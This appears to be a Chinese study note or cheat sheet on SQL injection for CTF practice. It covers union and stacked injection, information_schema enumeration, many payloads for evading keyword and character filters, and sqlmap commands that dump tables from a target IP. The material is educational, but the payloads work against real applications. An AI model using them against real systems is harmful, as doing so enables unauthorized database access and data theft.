一.原理
1、知道开发者所使用语句。
一般为select * from user where qq= ‘$qq’。
参数名可以通过查看源代码或者抓包等了解
2、如何执行我们自己的查询语句:闭合单引号 +查询语句。
构造payload:1’ or 1=1 union xxx#
则查询语句变成了:select * from user where qq= ‘1’ or 1=1 union xxx#’
这样就可以绕过验证了。
3、如何使得我们查询的结果显示出来:group_concat(),盲注,报错注入…
1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')#
4、绕过黑名单。有时候会过滤掉=,‘’,select,空格等,了解常见的绕过姿势。
二.联合注入
SQL基本语句:
Show databases;(显示所有数据库)
Use xxx [数据库名];(选择数据库)
Show tables;(显示所有表单)
注释符:#, --+ ,//
元数据库information_schema,这个数据库里常用到的表有两个:tables和columns
tables里重要的列:
table_name: 表名
table_schema: 表所在数据库名
columns里重要的列:
table_name: 列所在的表名
table_schema: 列所在的数据库的名字
column_name: 列的名字
datatype: 这一列的数据类型
1.爆库
SELECT * FROM information_schema.SCHEMATA
SELECT database();
2.爆表
SELECT table_name FROM information_schema.tables WHERE table_schema=‘xxx’;
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
3.爆字段
SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='xxx';
SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = 'xxx'
4.爆值
SELECT * FROM lyt_test.accounts
三.堆叠注入
即一堆 sql 语句(多条)一起执行。在 mysql 中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
四.绕过思路
1.绕过空格
- 两个空格代替一个空格,用Tab代替空格
- 用%a0代替空格
- 用注释/**/代替空格
- 用括号绕过空格
select(user())from dual where(1=1)and(2=2)
2.绕过引号
用十六进制绕过引号。
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
//users的十六进制为7573657273
3.绕过逗号
- 使用join
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
- 对于substr()和mid()这两个方法可以使用from to的方式来解决
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
- 对于limit可以使用offset来绕过
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
4.绕过比较符
- 使用greatest()、least():(前者返回最大值,后者返回最小值)
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
- 使用between and
between 1 and 1; 等价于 =1
5.绕过逻辑运算符
and=&& or=|| xor=| not=!
6.绕过注释符
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
7.绕过=
使用like 、rlike 、regexp 或者 使用< >!构成双重否定表肯定
8.绕过union,select,where等
- 使用注释符绕过
常用注释符://,-- , /**/, #, --+, -- -, ;,%00,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
- 使用大小写绕过
id=-1'UnIoN/**/SeLeCT
- 使用内联注释绕过
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
- 双关键字绕过(若删除掉第一个匹配的union就能绕过)
id=-1'UNIunionONSeLselectECT1,2,3–-
9.绕过等价函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
五.sqlmap
sqlmap -u "http://111.200.241.244:51447/" --batch --data="参数名=任意值" –dbs
//batch是默认都选yes
sqlmap -u "http://111.200.241.244:51447/" --batch --data="参数名=任意值" -D 数据库名 –tables
sqlmap -u "http://111.200.241.244:51447/" --batch --data="参数名=任意值" -D 数据库名 -T 表名 –dump
sqlmap -u "http://111.200.241.244:51447/" --batch --form -D 数据库名 -T 表名 –dump
//懒得传参可以写form
六.参考文档(侵删)
为了方便学习才总结在一起,侵删。
https://zhuanlan.zhihu.com/p/30924575
https://www.cnblogs.com/AikN/p/14696863.html
https://www.cnblogs.com/Vinson404/p/7253255.html